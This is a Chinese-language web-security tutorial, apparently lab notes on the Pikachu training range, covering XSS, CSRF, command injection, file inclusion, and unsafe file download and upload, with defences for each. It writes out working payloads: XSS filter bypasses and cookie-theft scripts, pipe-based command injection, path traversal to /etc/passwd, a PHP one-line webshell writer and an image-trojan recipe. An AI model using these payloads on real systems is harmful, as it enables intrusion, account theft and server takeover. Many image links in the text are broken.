[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-auSTrGRD-1683384727181)(media/70a2abcec80efd84c2ebb625d54018ca.jpeg)][外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YIrynv3u-1683384727181)(media/bd9053309bd917157c8092771b31a90b.jpeg)][外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-t5yYENiQ-1683384727181)(media/02a545d4ca785e704a0d38c0d6e47234.jpeg)][外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SN695koT-1683384727182)(media/d92e19688cdab48e452991b54e1ba957.jpeg)][外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JQ3BoyB1-1683384727182)(media/e6b79fef1e87657b2d1ad9753d7d3127.jpeg)][外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-L6s54zIn-1683384727182)(media/e54e3a594f6bb3f36b4ce55878fdbcd5.jpeg)][外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-e5Z0Zbkr-1683384727182)(media/66d4a8666e2f1515f94448c7eda5fe78.jpeg)]

  1. 防范措施

对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
使用参数化(Parameterized Query 或 Parameterized Statement);
还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!

str =addslashes (Shanghaiisthe "biggest "cityinChina .);echo (′′

在输⼊时进⾏过滤和转义。

2.使⽤预处理和参数化

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BVMLUwRn-1683384727183)(media/eaca35d37dcf07971f3ec650351feca3.jpeg)]

预处理⼯作原理:

1.预处理:创建SQL语句模板并发送到数据库。预留的值使⽤参数“?”标记。例如: INSERT INTO PRODUCT (name, price) VALUES (?, ?)

2.数据库解析、编译、对数据库语句模板执⾏优化查询,并存储结果。

3.执⾏: 将应⽤绑定的值传递给参数(“?”标记),数据库执⾏语句。根据不同的参数值,应⽤多次执⾏语句。

预处理就相当于传递两次,第⼀次是传模板,第⼆次才是传参数。

这样就相当于将原有的语句和传⼊的参数分开了,⽽不是直接将传⼊的语句拼接到数据库当中,所以就不会执⾏传⼊的payload。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-N4R1owkc-1683384727183)(media/4e86979652876e96b2cb3c2fcf761b0d.jpeg)]

  1. XSS(跨站脚本漏洞)
    1. 漏洞介绍

Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故⼜称XSS。⼀般XSS可以分为如下⼏种常见类型:

1.反射性XSS:

对于反射型xss,交互的内容⼀般不会存储于数据库中(即服务器中),是⼀次性的,会根据⽤户输⼊,实时返回相应的内容,⼀般出现在查询类的页⾯中。

2.存储型XSS:

存储型的xss会把与服务器交互的内容存储在数据库中(即后台服务器中),永久存储,⼀般出现在留⾔板和注册等页⾯,会把⽤户输⼊的内容存储在数据库中。

3.DOM型XSS:

不与后台服务器交互数据,⽽是通过DOM数来操作前端的代码,在输出的时候会产⽣的问题,⼀次性的也属于反射型。

DOM:⽂档对象类型

在这⾥我们提到了DOM,那么什么是DOM呢?

DOM就是js可以通过DOM树来操纵HTML的接⼝,js通过DOM提供的⽅法对HTML标签进⾏修改,删除等操作,来改变页⾯布局。由于HTML是由于各种标签来构成的,所以js就可以通过修改标签来改造页⾯。

XSS漏洞⼀直被评估为web漏洞中危害较⼤的漏洞,在OWASP TOP10的排名中⼀直属于前三的江湖地位。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fvOINzwq-1683384727183)(media/736493fcad50315bd1bd362b9b0f8d1a.jpeg)]

  1. 发生位置

XSS是⼀种发⽣在前端浏览器端的漏洞,所以其危害的对象也是前端⽤户。

  1. 常见危害

盗取用户rookie,修改网页内容,网站挂马,利用网站重定向,xss蠕虫

页面跳转,

<script>location=“http://www.baidu.com”</script>

嵌入网页

<iframe scr=“http://www.baidu.comwidth=400 height=300”></script>

<iframe scr=“http://www.baidu.comwidth=0 height=0” frameborder=0></script>

获取cookie

<script>alert(document.cookie)</script>

  1. 形成原因

形成XSS漏洞的主要原因是程序对输⼊和输出没有做合适的处理,导致“精⼼构造”的字符输出在前端时被浏览器当作有效代码解析执⾏从⽽产⽣危害。

攻击者将⾃⼰构造的js代码,插⼊到服务器端,然后⽤户在访问的时候,服务器就会将带有该js代码的页⾯返回给客户端,客户端的浏览器再执⾏插⼊的js代码,从⽽达到相应的攻击效果。

⼀⽅⾯是插⼊时的过滤不当,和返回给客户时的转义不当,这两⽅⾯构成了xss

  1. 代码分析
  2. 测试流程

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-B6emKAhU-1683384727183)(media/6681972a07615bfc96bce0b765c2f684.jpeg)]

1.在⽬标站点找到输⼊点,⽐如查询接⼝,注册,留⾔板等可以与页⾯交互的地⽅。

2.开始⼿测,先输⼊⼀组"特殊字符+唯⼀的识别字符",点击提交后,看页⾯是否会对提交的内容进⾏处理(过滤和转义等)如果是原封不动的返回来,那么可能就存在xss了。

3.通过搜索到输⼊的唯⼀识别字符,在结合唯⼀字符的前后愈发来确认是否可以执⾏构造xss的条件(构造闭合),来插⼊要执⾏的代码。(可以通过查看页⾯源码来查看)

3.提交的脚本代码(以及各种绕过姿势),看是否可以执⾏成功,执⾏成功就说明有xss漏洞。

  1. 漏洞分类及试验
    1. 反射型xss(get)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xdM2JYbD-1683384727184)(media/5bf3291da7144cd66e6141b01e6aaf8c.jpeg)]

我们在测试xss的时候,最开始最好先输⼊⼀些特殊的字符来确认哪些字符会被过滤以及转义,然后定位到相应的位置来看看该如何构造payload。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FqFZq76p-1683384727184)(media/a0cde4a737160fa688028489154685ea.jpeg)]

在这⾥我们插⼊了⼀个弹框。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-W6JXACtV-1683384727184)(media/cd5d2696eea7adbbde957446ad6f5587.jpeg)]

然后弹出了相应的内容。

  1. 反射型xss(post)

在成功登陆之后,就会出现⼀个输⼊框。同样直接插⼊即可。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BJNBiOvp-1683384727184)(media/6ba3eff3b60775605a93a468d82a0103.jpeg)]

  1. 存储型xss

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9kugalel-1683384727185)(media/7362a2dcdd587cd62892582c354377ce.jpeg)]

可以看到这是⼀个留⾔板,会存储我们写下的内容。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-G701eHFm-1683384727185)(media/c78739ec9acd33d2912b5056adf1d930.jpeg)]

当我们插⼊相应的payload后。

可以看到我们输⼊的payload已经插⼊到数据库中。除⾮在数据库中删除该xss,否则会⼀直⽣效。

  1. XSS利用
    1. 获取cookie

未退出登录的情况下,发送一个获取cookie的链接,一点击就会获取用户cookie,可以使用短链接 网站生成工具进行网址修改

获取cookie,把js代码写入存储型,每次打开自动获取cookie

<script> </script>

cookie利用,使用火狐浏览器的firebug插件可以加载cookie,跳过了登录页面

  1. 钓鱼

发送一个链接,弹出一个登录链接,输入用户名密码,钓鱼成功。

  1. 获取键盘记录
    1. DOM型xss

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fzEzxvDw-1683384727185)(media/597725456e4c65184fb7162dbda314ea.jpeg)]

可以看到我们在插⼊了’><img src=“#” οnmοuseοver=“alert(‘xss’)”>,这句话之后就弹出了我们想要的内容。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-u3qVXme0-1683384727185)(media/5a8b7105f16cbf4c396fe430d75f0f36.jpeg)]

我们先通过 "> 闭合了herf标签,然后再插⼊相应的payload.

  1. DOM型xss-x

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YxUrnp2A-1683384727186)(media/60d8fcdf2458a467289cf2b91f072039.jpeg)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xoYYCDei-1683384727186)(media/62df1cc6005888c3e0f62dbb4136df4b.jpeg)]

和上⾯⼀样,闭合href标签,使⽤onclick属性,弹出xss。

  1. xss之盲打

所谓盲打就是插⼊的内容,不会在前端显⽰,所以我们不能在前端看到相应的反馈,⽽是将payload插⼊到后台,如果后台没有对xss进⾏过滤,那么后台就会被插⼊,可以获得管理员的cookie等。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5sLyy0i5-1683384727186)(media/282be8370581338906823249daf7201a.jpeg)]

  1. xss过滤

前端修改大小写:<SCRIPT>aleRT(111)</sCRIPT> ,

拼凑:<scr<script>ipt>alert(111)</scr</script>ipt> ,

使用注释:<scri<!–test–>pt>alert(1111)</scri<!–test–>pt>

这⾥的过滤条件很简单,使⽤⼤⼩写即可绕过,但是还需要闭合前⾯的 ’ ,

所以payload可以为<SCript>alert(xss1)</SCript>。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3GRMAcWX-1683384727186)(media/819e02456f3df62b51e82b61862e4cc8.jpeg)]

xss⼀些简单的绕过技巧

  1. xss之htmlspecialchars

htmlspecialchars是把把预定义的字符转换成html实体

常见的转义字符:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cMvk4vbc-1683384727187)(media/ebe69042638df7f80ebb7de0655d0271.jpeg)]

对htmlspecialchars⽅法的解释:

htmlspecialchars会对⼀些符号编码成HTML编码。从⽽防⽌xss注⼊。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Gi0v1CdZ-1683384727187)(media/68efb49d97d71c7a0567a08d1a5ed77b.jpeg)]

拿该例题来说,使⽤的是默认类型,所以可以使⽤单引号,从⽽可以来闭合前⾯的标签。

所以可以使⽤on事件来绕过。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zhXxdL3B-1683384727187)(media/d225ae0bd75646cdb31647b51124652a.jpeg)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Lc3rBltw-1683384727187)(media/efc24e4840e5ece7a5d2a640a8972653.jpeg)]

要合理的使⽤各种事件标签来进⾏绕过。

  1. xss之href输出

javascript:alert(‘111’)

ctrl + F可以快速定位元素

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tUriduSb-1683384727188)(media/b890e55e597b6fe7d08f64449d68c013.jpeg)]

直接使⽤js 伪协议,来进⾏插⼊。payload:javascript:alert(1)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PAoXWG3x-1683384727188)(media/3792c5d6bbf423a9b02780f6f39d63a2.jpeg)]

所以在href标签处,我们最好只限定HTTP和HTTPS两种协议。

javascript伪协议

1.什么是伪协议

将javascript代码添加到客户端的⽅法是把它放置在伪协议说明符javascript:后的URL中。这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运⾏。如果javascript:URL中的javascript代码含有多个语句,必须使⽤分号将这些语句分隔开。这样的URL如下所⽰:

javascript:var now = new Date(); “<h1>The time is:</h1>” + now;

当浏览器装载了这样的URL时,它将执⾏这个URL中包含的javascript代码,并把最后⼀条javascript语句的字符串值作为新⽂档的内容显⽰出来。这个字符串值可以含有HTML标记,并被格式化,其显⽰与其他装载进浏览器的⽂档完全相同。

在浏览器打开javascript:URL的时候,它会先运⾏URL中的代码,当返回值不为undefined的时候,前页链接会替换为这段代码的返回值。

javascript URL还可以含有只执⾏动作,但不返回值的javascript语句。例如:

1 javascript:alert(“hello world!”)

装载了这种URL时,浏览器仅执⾏其中的javascript代码,但由于没有作为新⽂档来显⽰的值,因此它并不改变当前显⽰的⽂档。

通常我们想⽤javascript:URL执⾏某些不改变当前显⽰的⽂档的javascript代码。要做到这⼀点,必须确保URL中的最后⼀条语句没有返回值。⼀种⽅法是⽤void运算符显式地把返回值指定为underfined,只需要在javascript:URL的结尾使⽤语句void 0;即可。例如:下⾯的URL将打开⼀个新的空浏览器窗⼝,⽽不改变当前窗⼝的内容:

javascript:window.open(“about:blank”); void 0;

如果这个URL没有void运算符,window.open()⽅法的返回值将被转换成字符串并被显⽰出来,当前窗⼝将被如下所⽰的⽂档覆盖。

  1. xss之js输出

x’</script><script>alert(‘111’)</script>

在这题中的输出点是js标签内。

其中的ms就是输出的变量。且⽤’ ‘括起来,表⽰字符串,我们需要过滤掉’ ’

观察代码发现,我们可以通过闭合

所以我们可以⽤下⾯的payload来插⼊。

'</script><script>alert(1)</script>

前⾯的’<script>是⽤来闭合掉前⾯的script标签的,后⾯在构造⼀个弹框。

构造后的代码为:

<script>

$ms=‘’</script><script>alert(1)</script>';

if($ms.length != 0){

if($ms == ‘tmac’){

$(‘#fromjs’).text(‘tmac确实厉害,看那⼩眼神…’)

}else {

// alert($ms);

$(‘#fromjs’).text(‘⽆论如何不要放弃⼼中所爱…’)

}

}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YHWEXJd6-1683384727188)(media/7ac339e8083ad120d9a829eb4b5f113b.jpeg)]

  1. 防范措施

因此在XSS漏洞的防范上,⼀般会采⽤“对输⼊进⾏过滤”和“输出进⾏转义”的⽅式进⾏处理:

输⼊过滤:对输⼊进⾏过滤,不允许可能导致XSS攻击的字符输⼊;

输出转义:根据输出点的位置对输出到前端的内容进⾏适当转义;

  1. CSRF(跨站请求伪造)
    1. 漏洞介绍

Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。 很多人搞不清楚CSRF的概念,甚至有时候会将其和XSS混淆,更有甚者会将其和越权问题混为一谈,这都是对原理没搞清楚导致的。

  1. 发生位置

小黑想要修改大白在购物网站tianxiewww.xx.com上填写的会员地址。
先看下大白是如何修改自己的密码的:
登录—修改会员信息,提交请求—修改成功。
所以小黑想要修改大白的信息,他需要拥有:1,登录权限 2,修改个人信息的请求。

但是大白又不会把自己xxx网站的账号密码告诉小黑,那小黑怎么办?
于是他自己跑到www.xx.com上注册了一个自己的账号,然后修改了一下自己的个人信息(比如:E-mail地址),他发现修改的请求是:
【http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change】
于是,他实施了这样一个操作:把这个链接伪装一下,在小白登录xxx网站后,欺骗他进行点击,小白点击这个链接后,个人信息就被修改了,小黑就完成了攻击目的。

  1. 常见危害

信息被修改

  1. 发生原因

关键就是⽤户在登录信息没有失效的情况下(cookie和session),访问了恶意URL,导致了⾃⼰不想做的操作。且敏感信息的链接容易被伪造。

  1. 代码分析
  2. 测试流程

www.xxx.com这个网站在用户修改个人的信息时没有过多的校验,导致这个请求容易被伪造;
—因此,我们判断一个网站是否存在CSRF漏洞,其实就是判断其对关键信息(比如密码等敏感信息)的操作(增删改)是否容易被伪造。
小白点击了小黑发给的链接,并且这个时候小白刚好登录在购物网上;
—如果小白安全意识高,不点击不明链接,则攻击不会成功,又或者即使小白点击了链接,但小白此时并没有登录购物网站,也不会成功。
—因此,要成功实施一次CSRF攻击,需要“天时,地利,人和”的条件。
当然,如果小黑事先在xxx网的首页如果发现了一个XSS漏洞,则小黑可能会这样做: 欺骗小白访问埋伏了XSS脚本(盗取cookie的脚本)的页面,小白中招,小黑拿到小白的cookie,然后小黑顺利登录到小白的后台,小黑自己修改小白的相关信息。
—所以跟上面比一下,就可以看出CSRF与XSS的区别:CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏。

  1. 漏洞分类及试验

3.1 csrf(get)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4G4z5Una-1683384727192)(media/b2bfb8331e4282c26e32a43dd3656290.jpeg)]

在登录进去后的Lucy的⽤户信息是这样的。

之后我们⽤⾃⼰的信息登录上去,抓取修改信息的链接,修改相应的参数,发送给lucy,要是lucy处于登录状态,就会将⾃已的信息修改为我们在URL中修改的参数信息。

URL:127.0.0.1/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?

sex=girl&phonenum=186********&add=us&email=vince%40pikachu.com&submit=submit

(可以看到没有使⽤token)

当lucy点击该URL后,就会修改信息为:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YzNkJShH-1683384727192)(media/dd5582efb97144637c648d174880cea6.jpeg)]

3.2 csrf(post)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5BCSt6wb-1683384727193)(media/5274324ec8b8b679fe7c17e1540db44d.jpeg)]

通过bp抓包知道请求放在post请求体⾥⾯了,⽆法通过构造URL来进⾏攻击了,这时就只能构造⼀个虚假页⾯,诱导⽤户去点击,从⽽引发攻击。(模仿post请求,和get请求⼀样)

这⾥就不多做演⽰了。

3.3 csrf(token)

这⾥通过抓包会发现在post请求后多了以个token的值,所以就⽆法伪造了。

通过这⾥可以看到,单纯的利⽤csrf是很难的,⼀般需要和xss等其他的漏洞组合使⽤。

  1. 防范措施

使⽤token来防⽌csrf

后台每次都会对该随机码(token)进⾏验证。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-49Z0grjX-1683384727193)(media/23831acf58a3d34b88e97b3322ea3224.jpeg)]

对于token的描述:

如果从客户端发送给服务器的请求中存在token(与session本地存储的token已经⽐较过以后),那么就销毁原token,⽽是使⽤该函数来⽣成⼀个新的token,然后将携带该token的页⾯返回给客户端,这样就保证了请求,难以伪造。

因此,网站如果要防止CSRF攻击,则需要对敏感信息的操作实施对应的安全措施,防止这些操作出现被伪造的情况,从而导致CSRF。比如:
–对敏感信息的操作增加安全的token;
–对敏感信息的操作增加安全的验证码;
–对敏感信息的操作实施安全的逻辑流程,比如修改密码时,需要先校验旧密码等。

  1. RCE(远程命令/代码执行)
    1. 漏洞介绍

RCE漏洞,可以让攻击者直接向后台服务器远程注⼊操作系统命令或者代码,从⽽控制后台系统。

  1. 发生位置

一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上

  1. 常见危害

可以让攻击者直接向后台服务器远程注⼊操作系统命令或者代码,从⽽控制后台系统。

  1. 形成原因

一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而,如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器

现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。 在这种平台上往往会出现远程系统命令执行的漏洞,不信的话现在就可以找你们运维部的系统测试一下,会有意想不到的"收获"-_-

同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,

也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。

因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。

以PHP为例,system、exec、shell_exec、passthu、popen、proc_popen等函数可以执⾏系统命令。当我们可以控制这些函数的参数时,就能运⾏我们想运⾏的命令,从⽽进⾏攻击。、

  1. 代码分析
    1. 测试流程

⿊盒测试

通过⽹站的功能:部分⽹站有特殊功能,⽐如ping、数据库备份等

⽩盒测试

命令执⾏函数:system、exec、shell_ exec、passthru、pcntl_exec、popen、proc_popen等函数

反引号(’):搜索可执⾏命令的反引号(’)

  1. 漏洞分类及试验

利⽤Windows和linux的管道符来执⾏命令。

Windows管道符

管道符作⽤举例

| 直接执⾏后⾯的语句 ping 127.0.0.1|whoami

|| 前⾯的语句执⾏出错则执⾏后⾯的语句 ping 127.0.0.1||whoami

& 前⾯的语句为假则执⾏后⾯的语句 ping 127.0.0.1&whoami

&& 前⾯的语句为假,直接出错,前⾯的语句为真,执⾏后⾯的语句 ping 127.0.0.1&&whoami

linux管道符

; 执⾏完前⾯的语句再执⾏后⾯的。eg:ping 127.0.0.1; whoami

| 显⽰后⾯语句的执⾏结果。eg:ping 127.0.0.1 | whoami

|| 前⾯的语句执⾏出错则执⾏后⾯的语句 ping 127.0.0.1||whoami

& 前⾯的语句为假则执⾏后⾯的语句,前⾯的语句不会影响后⾯的语句执⾏ ping 127.0.0.1&whoami

&& 前⾯的语句为假,直接出错也不执⾏后⾯的语句,只有前⾯的语句为真,执⾏后⾯的语句 ping 127.0.0.1&&whoami

⼀般我们是需要⽤后⾯的语句来进⾏攻击,所以⾸选|,如果被过滤了在考虑其他,下⾯的例⼦很简单,在实战篇我再添加绕过的内容。使⽤管道符|,dir命令运⾏成功。

payload:

127.0.0.1 | whoami

前⾯是ping的地址,直接执⾏后⾯的命令

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xMVZc8bC-1683384727194)(media/ad84af65139952af5bb226b365364901.jpeg)]

1.2 exce(eval)(远程代码命令执⾏)

这个函数可以直接执⾏代码,⼀般不会⼦啊实际情况中遇到。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4G2PMx1A-1683384727194)(media/042844411130fd84db90616349bdc8f8.jpeg)]

在这⾥不要忘记在执⾏的代码后⾯加上 ; 这样才能正确的执⾏。

PHP伪协议

  1. 防范措施
  2. Files Inclusion(文件包含漏洞
    1. 漏洞介绍

⽂件包含,是⼀个功能。在各种开发语⾔中都提供了内置的⽂件包含函数,其可以使开发⼈员在⼀个代码⽂件中直接包含(引⼊)另外⼀个代码⽂件。 ⽐如 在PHP中,提供了:

include(),include_once()

require(),require_once()

这些⽂件包含函数,这些函数在代码设计中被经常使⽤到。

  1. 发生位置

根据不同的配置环境,⽂件包含漏洞分为如下两种情况:

1.本地⽂件包含漏洞:仅能够对服务器本地的⽂件进⾏包含,由于服务器上的⽂件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含⼀些 固定的系统配置⽂件,从⽽读取系统敏感信息。很多时候本地⽂件包含漏洞会结合⼀些特殊的⽂件上传漏洞,从⽽形成更⼤的威⼒。

2.远程⽂件包含漏洞:能够通过url地址对远程的⽂件进⾏包含,这意味着攻击者可以传⼊任意的代码,这种情况没啥好说的,准备挂彩。因此,在web应⽤系统的功能设计上尽量不要让前端⽤户直接传变量给包含函数,如果⾮要这么做,也⼀定要做严格的⽩名单策略进⾏过滤。

  1. 常见危害

读取系统敏感信息

很多时候本地⽂件包含漏洞会结合⼀些特殊的⽂件上传漏洞,从⽽形成更⼤的威⼒。

  1. 形成原因

⼤多数情况下,⽂件包含函数中包含的代码⽂件是固定的,因此也不会出现安全问题。 但是,有些时候,⽂件包含的代码⽂件被写成了⼀个变量,且这个变量可以由前端⽤户传进来,这种情况下,如果没有做⾜够的安全考虑,则可能会引发⽂件包含漏洞。 攻击着会指定⼀

个“意想不到”的⽂件让包含函数去执⾏,从⽽造成恶意操作。

  1. 代码分析
    1. 测试流程
  2. 漏洞分类及试验

1.1 本地⽂件包含

如果是通过前端的⽅式将包含的⽂件,传⼊到后台,那么就可以通过修改包含⽂件,来显⽰⼀些⽹站的配置⽂件。

eg:linux的…/…/…/…/…/…/…/etc/password

127.0.0.1/pikachu-master/vul/fileinclude/fi_local.php?filename=phpinfo.php&submit=提交查询

将本地的php⽂件,改成配置⽂件phpinfo.php,再在页⾯回显出来。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-m7fJVcPW-1683384727194)(media/23452bc9f08afd3a8113dfc85464ed9f.jpeg)]

1.2 远程⽂件包含

利⽤URLinclude,包含其他主机的⽂件,并且执⾏。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-53YvtnBT-1683384727194)(media/d019b73776b996b87f1a07578efc651a.jpeg)]

这是⼀台远程服务器,下的⼀个⼀句话⽊马⽂件。

<?php fputs(fopen(‘shell.php’,‘w’),‘<?php @eval($_GET[cmd]); ?>’); ?>

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2JoKX8Kq-1683384727195)(media/8dd6d964158948a75c135d6c914e8b77.jpeg)]

且⼀般情况下,⽣成的⽂件是在该页⾯的同级⽬录下。(需要访问该⼀句话⽊马,就需要只带他的具体⽂件位置)

可以看到在fileinclude这个⽬录下。

  1. 防范措施
  2. Unsafe file downloads(不安全的文件下载
    1. 漏洞介绍

⽂件下载功能在很多web系统上都会出现,⼀般我们当点击下载链接,便会向后台发送⼀个下载请求,⼀般这个请求会包含⼀个需要下载的⽂件名称,后台在收到请求后 会开始执⾏下载代码,将该⽂件名对应的⽂件response给浏览器,从⽽完成下载。 如果后台在收到请求的⽂件名后,将其直接拼进下载⽂件的路径中⽽不对其进⾏安全判断的话,则可能会引发不安全的⽂件下载漏洞。

  1. 发生位置

web系统上⽂件下载功能

  1. 常见危害

导致后台敏感信息(密码⽂件、源代码等)被下载

  1. 形成原因

如果后台在收到请求的⽂件名后,将其直接拼进下载⽂件的路径中⽽不对其进⾏安全判断的话,则可能会引发不安全的⽂件下载漏洞。

此时如果 攻击者提交的不是⼀个程序预期的的⽂件名,⽽是⼀个精⼼构造的路径(⽐如…/…/…/etc/passwd),则很有可能会直接将该指定的⽂件下载下来。 从⽽导致后台敏感信息(密码⽂件、源代码等)被下载。

  1. 代码分析
    1. 测试流程
    2. 漏洞分类及试验

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wTJ2irIW-1683384727195)(media/b7a21affbc751b6a717c8f522f28ecdd.jpeg)]

有时候get请求在URL中也不会显⽰,所以最好通过bp抓包,来⼀点点的分析⽹站。

放包后,页⾯就会显⽰下载的内容。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-z5IvGH1I-1683384727195)(media/763ff62996da9c340dd40ce8dca849b2.jpeg)]

  1. 防范措施

所以,在设计⽂件下载功能时,如果下载的⽬标⽂件是由前端传进来的,则⼀定要对传进来的⽂件进⾏安全考虑。 切记:所有与前端交互的数据都是不安全的,不能掉以轻⼼!

  1. Unsafe file uploads(不安全的文件上传)
    1. 漏洞介绍

⽂件上传功能在web应⽤系统很常见,⽐如很多⽹站注册的时候需要上传头像、上传附件等等。当⽤户点击上传按钮后,后台会对上传的⽂件进⾏判断⽐如是否是指定的类型、后缀名、⼤⼩等等,然后将其按照设计的格式进⾏重命名后存储在指定的⽬录。如果说后台对上传的⽂件没有进⾏任何的安全判断或者判断条件不够严谨,则攻击着可能会上传⼀些恶意的⽂件,⽐如⼀句话⽊马,从⽽导致后台服务器被webshell。

  1. 发生位置

web应⽤⽹站注册的时候需要上传头像、上传附件等等

  1. 常见危害

后台服务器被webshell

  1. 形成原因

如果说后台对上传的⽂件没有进⾏任何的安全判断或者判断条件不够严谨,则攻击着可能会上传⼀些恶意的⽂件,⽐如⼀句话⽊马,从⽽导致后台服务器被webshell。

  1. 代码分析
    1. 测试流程

对⽂件上传漏铜的测试思路

1.按⽂件上传的要求上传⽂件,查看返回的结果(路径,提⽰等)

2.尝试上传不同类型的"恶意"⽂件,⽐如:xx.php,图⽚,jsp等不同类型的⽂件。

3.查看HTML源码,看是否在前端做了上传的限制。

4.尝试通过不同的⽅式进⾏绕过:⿊⽩名单绕过,MIME类型绕过/⽬录0x00截断绕过等。

5.猜测或者结合其他漏洞(⽐如敏感信息泄露,git信息泄露)得到⽊马⽂件,进⾏连接。

  1. 漏洞分类及试验

图⽚⽊马的制作:

1.直接伪造头部GIF89A

2.cmd copy /b test.png + muma.php cc.png

3.使⽤GIMP,通过增加备注,写⼊执⾏命令。

1.1 client check

将onechange删掉。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AWxF49Zn-1683384727196)(media/07b1287a193907af1f3e9ba8cc5a6399.jpeg)]

1.2 MIME type

将content-type该为image/jpeg.

1.3 getimagesize

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hadkNo05-1683384727196)(media/6b614a20bd777eb10f2d5e52260390e5.jpeg)]

可以制作图⽚马上传。也可以在bp抓包后在最后⾯加上⼀句话⽊马。

  1. 防范措施

所以,在设计⽂件上传功能时,⼀定要对传进来的⽂件进⾏严格的安全考虑。⽐如:

–验证⽂件类型、后缀名、⼤⼩;

–验证⽂件的上传⽅式;

–对⽂件进⾏⼀定复杂的重命名;

–不要暴露⽂件上传后的路径;

–等等…

  1. Over Permisson(越权漏洞)
    1. 漏洞介绍

如果使⽤A⽤户的权限去操作B⽤户的数据,A的权限⼩于B的权限,如果能够成功操作,则称之为越权操作。

  1. 发生位置

⼀般越权漏洞容易出现在权限页⾯(需要登录的页⾯)增、删、改、查的的地⽅,

  1. 常见危害
  2. 形成原因

当⽤户对权限页⾯内的信息进⾏这些操作时,后台需要对对当前⽤户的权限进⾏校验,看其是否具备操作的权限,从⽽给出响应,⽽如果校验的规则过于简单则容易出现越权漏洞。

越权漏洞形成的原因是后台使⽤了不合理的权限校验规则导致的

  1. 代码分析
    1. 测试流程
    2. 漏洞分类及试验

1.1 ⽔平越权(平⾏越权)

A⽤户和B⽤户属于同⼀级别的⽤户,但是各⾃不能操作对⽅的信息,A⽤户如果越权操作B⽤户的个⼈信息的情况被称为平⾏越权。

越权操作⼀般在登录的地⽅,通过bp抓包判断操作的⽅式是get请求还是post请求,并且还要找到可以更改⽤户的地⽅。

可以看到我们登陆的⽤户是lucy。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-487WBWIc-1683384727196)(media/5d7d94b784ecad11bc884c37a9c3dbf8.jpeg)]

